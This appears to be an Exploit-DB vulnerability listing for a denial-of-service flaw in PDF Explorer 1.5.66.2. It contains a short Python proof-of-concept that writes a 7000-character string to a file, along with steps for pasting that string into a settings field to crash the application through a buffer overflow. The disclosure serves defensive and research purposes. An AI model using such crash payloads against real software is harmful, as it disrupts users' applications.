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PDF Explorer
by:
Gionathan 'John' Reale
7.5
CVSS
HIGH
Denial of Service
119
CWE
Product Name: PDF Explorer
Affected Version From: 1.5.66.2
Affected Version To: 1.5.66.2
Patch Exists: Yes
Related CWE: N/A
CPE: a:rtt_software:pdf_explorer
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 7 32-bit
2018

PDF Explorer 1.5.66.2 – Denial of Service (PoC)

When a maliciously crafted file is opened in PDF Explorer 1.5.66.2, a denial of service (DoS) condition can be triggered. This is due to a buffer overflow error when the contents of the file are copied into the 'Label' field of the 'Custom fields settings' window. This causes the application to crash.

Mitigation:

Ensure that all software is up to date and patched with the latest security updates.
Source

Exploit-DB raw data:

# Exploit Title: PDF Explorer 1.5.66.2 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-12
# Software Link: https://www.rttsoftware.com/files/PDFExplorerTrialSetup.zip
# Tested Version: 1.5.66.2
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program. When inside the program click "Database" > "Custom fields settings..."
# Now paste the contents of "exploit.txt" into the fields:"Label"
# Click the "OK" button and you will see a crash!  

#!/usr/bin/python
   
buffer = "A" * 7000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"